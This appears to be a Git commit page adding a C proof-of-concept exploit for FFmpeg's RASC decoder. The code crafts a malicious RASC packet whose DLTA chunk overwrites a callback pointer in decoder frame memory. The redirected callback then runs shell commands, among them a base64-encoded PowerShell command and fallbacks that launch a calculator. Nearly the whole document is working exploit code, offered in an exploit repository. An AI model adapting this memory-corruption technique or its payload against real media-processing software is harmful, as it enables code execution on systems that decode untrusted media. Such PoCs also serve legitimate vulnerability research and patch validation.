git404/exploitarium
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add FFmpeg RASC DLTA calc PoC

Browse Source
This commit is contained in:
ashton
2026-06-26 12:37:41 -05:00
parent 1627accd7d
commit d7bdd1d45c
9 changed files with 586 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

240
ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c Normal file
View File

@@ -0,0 +1,240 @@
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "libavcodec/avcodec.h"
#include "libavutil/buffer.h"
#include "libavutil/error.h"
#include "libavutil/frame.h"
#include "libavutil/mem.h"
#define FRAME_W 64
#define FRAME_H 1
#define RASC_INIT 0x54494e49u
#define RASC_DLTA 0x41544c44u
typedef void (*demo_callback)(void);
typedef struct DemoChunk {
uint8_t plane[FRAME_W];
demo_callback cb;
uint8_t palette[1024];
} DemoChunk;
static DemoChunk *frame1_chunk;
static DemoChunk *frame2_chunk;
static void benign_callback(void)
{
puts("[callback] benign callback reached");
}
static void calc_callback(void)
{
const char *fallbacks[] = {
"cmd.exe /c start calc.exe >/dev/null 2>&1",
"xcalc >/dev/null 2>&1 &",
"gnome-calculator >/dev/null 2>&1 &",
"kcalc >/dev/null 2>&1 &"
};
puts("[callback] hijacked callback reached");
system("touch /tmp/ffmpeg_rasc_exec_demo");
if (system("powershell.exe -NoProfile -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAYQBsAGMALgBlAHgAZQA= >/dev/null 2>&1 &") == 0)
return;
for (size_t i = 0; i < sizeof(fallbacks) / sizeof(fallbacks[0]); i++) {
if (system(fallbacks[i]) == 0)
return;
}
}
static void free_demo_chunk(void *opaque, uint8_t *data)
{
(void)opaque;
av_free(data);
}
static void put_le16(uint8_t *p, uint16_t v)
{
p[0] = (uint8_t)v;
p[1] = (uint8_t)(v >> 8);
}
static void put_le32(uint8_t *p, uint32_t v)
{
p[0] = (uint8_t)v;
p[1] = (uint8_t)(v >> 8);
p[2] = (uint8_t)(v >> 16);
p[3] = (uint8_t)(v >> 24);
}
static void make_chunk(uint8_t **cursor, uint32_t tag, uint32_t body_size)
{
put_le32(*cursor, tag);
put_le32(*cursor + 4, body_size);
*cursor += 8;
}
static uint8_t *make_packet(size_t *packet_size, uintptr_t target_addr)
{
const uint32_t init_body_size = 72 + 1024;
const uint32_t dlta_cmd_size = 6;
const uint32_t dlta_body_size = 40 + dlta_cmd_size;
const size_t total = 8 + init_body_size + 8 + dlta_body_size;
uint8_t *packet = av_mallocz(total);
uint8_t *p = packet;
uint8_t *body;
uint32_t fill;
if (!packet)
return NULL;
make_chunk(&p, RASC_INIT, init_body_size);
body = p;
put_le32(body + 0, 0x65);
put_le32(body + 8, FRAME_W);
put_le32(body + 12, FRAME_H);
put_le16(body + 46, 8);
for (int i = 0; i < 256; i++)
put_le32(body + 72 + 4 * i, 0xff000000u | (uint32_t)(i * 0x010101u));
p += init_body_size;
make_chunk(&p, RASC_DLTA, dlta_body_size);
body = p;
put_le32(body + 12, dlta_cmd_size);
put_le32(body + 16, FRAME_W - 1);
put_le32(body + 20, 0);
put_le32(body + 24, 1);
put_le32(body + 28, 1);
put_le32(body + 36, 0);
fill = (uint32_t)(((target_addr & 0x00ffffffu) << 8) | 0x41u);
body[40] = 7;
body[41] = 1;
put_le32(body + 42, fill);
*packet_size = total;
return packet;
}
static int exploit_get_buffer2(AVCodecContext *ctx, AVFrame *frame, int flags)
{
static int allocation_index;
DemoChunk *chunk;
(void)flags;
if (ctx->pix_fmt != AV_PIX_FMT_PAL8 || frame->width != FRAME_W || frame->height != FRAME_H)
return AVERROR(EINVAL);
chunk = av_mallocz(sizeof(*chunk));
if (!chunk)
return AVERROR(ENOMEM);
chunk->cb = benign_callback;
frame->buf[0] = av_buffer_create((uint8_t *)chunk, sizeof(*chunk), free_demo_chunk, NULL, 0);
if (!frame->buf[0]) {
av_free(chunk);
return AVERROR(ENOMEM);
}
frame->data[0] = chunk->plane;
frame->data[1] = chunk->palette;
frame->linesize[0] = FRAME_W;
frame->extended_data = frame->data;
if (allocation_index == 0)
frame1_chunk = chunk;
else if (allocation_index == 1)
frame2_chunk = chunk;
allocation_index++;
return 0;
}
static void fail_av(const char *what, int err)
{
char buf[AV_ERROR_MAX_STRING_SIZE];
av_strerror(err, buf, sizeof(buf));
fprintf(stderr, "%s failed: %s (%d)\n", what, buf, err);
exit(1);
}
int main(void)
{
const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_RASC);
AVCodecContext *ctx = NULL;
AVPacket *pkt = NULL;
AVFrame *frame = NULL;
uint8_t *packet_data = NULL;
size_t packet_size = 0;
int ret;
if (!codec) {
fputs("RASC decoder missing\n", stderr);
return 1;
}
printf("[addr] benign_callback=%p\n", (void *)benign_callback);
printf("[addr] calc_callback=%p\n", (void *)calc_callback);
if ((((uintptr_t)benign_callback) >> 24) != (((uintptr_t)calc_callback) >> 24)) {
fputs("callbacks outside 24-bit overwrite window\n", stderr);
return 1;
}
ctx = avcodec_alloc_context3(codec);
pkt = av_packet_alloc();
frame = av_frame_alloc();
if (!ctx || !pkt || !frame)
fail_av("allocation", AVERROR(ENOMEM));
ctx->thread_count = 1;
ctx->get_buffer2 = exploit_get_buffer2;
ret = avcodec_open2(ctx, codec, NULL);
if (ret < 0)
fail_av("avcodec_open2", ret);
packet_data = make_packet(&packet_size, (uintptr_t)calc_callback);
if (!packet_data)
fail_av("make_packet", AVERROR(ENOMEM));
ret = av_new_packet(pkt, (int)packet_size);
if (ret < 0)
fail_av("av_new_packet", ret);
memcpy(pkt->data, packet_data, packet_size);
av_free(packet_data);
ret = avcodec_send_packet(ctx, pkt);
if (ret < 0)
fail_av("avcodec_send_packet", ret);
ret = avcodec_receive_frame(ctx, frame);
if (ret != 0 && ret != AVERROR(EAGAIN) && ret != AVERROR_EOF)
fail_av("avcodec_receive_frame", ret);
if (!frame2_chunk) {
fputs("frame2 allocation missing\n", stderr);
return 1;
}
printf("[ptr] frame1 callback after decode=%p\n", (void *)frame1_chunk->cb);
printf("[ptr] frame2 callback after decode=%p\n", (void *)frame2_chunk->cb);
printf("[ptr] expected target=%p\n", (void *)calc_callback);
if (frame2_chunk->cb != calc_callback) {
fputs("callback pointer unchanged\n", stderr);
return 1;
}
puts("[ok] media-controlled RASC DLTA overwrite redirected callback");
frame2_chunk->cb();
av_frame_free(&frame);
av_packet_free(&pkt);
avcodec_free_context(&ctx);
return 0;
}